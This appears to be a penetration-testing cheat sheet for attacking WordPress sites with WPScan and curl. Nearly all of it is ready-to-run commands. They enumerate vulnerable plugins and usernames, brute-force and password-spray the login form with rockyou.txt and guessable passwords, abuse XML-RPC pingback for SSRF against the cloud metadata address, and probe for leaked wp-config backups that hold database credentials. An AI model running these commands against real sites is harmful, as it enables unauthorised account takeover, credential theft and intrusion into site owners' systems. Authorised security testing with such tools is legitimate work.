wpscan

$ Find vulnerable plugins, themes and configs

Scan a target for vulnerable plugins (vp), vulnerable themes (vt), config backups (cb) and database exports (dbe). The mixed plugin detection mode combines both passive and aggressive discovery, so results are far more complete than the default.

docker run -it --rm wpscanteam/wpscan --url https://example.com --api-token YOURAPIKEY --disable-tls-checks --rua -e vp,vt,cb,dbe --plugins-detection mixed

$ Brute force WordPress logins

Enumerate users first (-e u), then spray a wordlist against the login form. Mounting the current directory keeps the wordlist inside the container.

wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
sudo docker run -v $(pwd):/wordlists/ -it --rm wpscanteam/wpscan --url https://website.com --rua -e u --users-detection mixed --password-attack wp-login -P /wordlists/rockyou.txt --disable-tls-checks

$ Enumerate users without an API token

User enumeration needs no API key and often leaks admin usernames you can target later.

docker run -it --rm wpscanteam/wpscan --url https://example.com -e u --users-detection mixed

Manually, the REST API usually gives the same answer without any tooling:

curl -s https://example.com/wp-json/wp/v2/users | jq '.[].slug'

$ Password spray known usernames

Once you have a shortlist of real users, try a small, high-quality password list instead of a huge one — it is quieter and faster.

# small list, one candidate per line
cat > passwords.txt <<'EOF'
Password1
Summer2023!
Welcome123
EOF
docker run -it --rm wpscanteam/wpscan --url https://example.com \
  --usernames admin,editor,j.smith \
  --passwords /wordlists/passwords.txt \
  --password-attack wp-login --rua

$ Abuse XML-RPC pingback

xmlrpc.php is enabled by default on most installs and supports the pingback.ping method, which turns the target into a SSRF pivot and can be used for DDoS amplification.

# check which XML-RPC methods are exposed
curl -s -X POST https://example.com/xmlrpc.php -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
# pingback SSRF probe against an internal host
curl -s -X POST https://example.com/xmlrpc.php -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://169.254.169.254/latest/meta-data/</string></value></param><param><value><string>https://example.com/?p=1</string></value></param></params></methodCall>'
# WPScan can also try the xmlrpc password attack
docker run -it --rm wpscanteam/wpscan --url https://example.com --password-attack xmlrpc -U admin -P /wordlists/rockyou.txt

$ Hunt for wp-config backups and exposed files

Editors and admins routinely leave copies of wp-config.php behind; they contain database credentials and auth salts.

for f in wp-config.php.bak wp-config.php~ wp-config.php.old wp-config.php.save wp-config.php.orig wp-config.bak wp-config.old; do
  code=$(curl -s -o /dev/null -w '%{http_code}' "https://example.com/$f")
  [ "$code" = "200" ] && echo "[+] Found: /$f"
done
# also probe common backup archives of the whole site
for f in backup.zip backup.tar.gz site.zip wp-content/backup-db; do
  code=$(curl -s -o /dev/null -w '%{http_code}' "https://example.com/$f")
  [ "$code" = "200" ] && echo "[+] Found: /$f"
done

$ Theme detection and useful extra enumeration

Detect the active theme and parent themes, plus timthumb and popular plugins — old themes are as exploitable as old plugins.

# enumerate themes (vt adds the vulnerable-theme check)
docker run -it --rm wpscanteam/wpscan --url https://example.com -e vt,cb --plugins-detection mixed --api-token YOURAPIKEY
# quick manual fingerprint
curl -s https://example.com/ | grep -oE 'wp-content/themes/[^/]+'
# other useful enumeration options
#   -e ap  all plugins        -e at  all themes
#   -e cb  config backups     -e dbe db exports
#   -e u   users              --rua  random user agent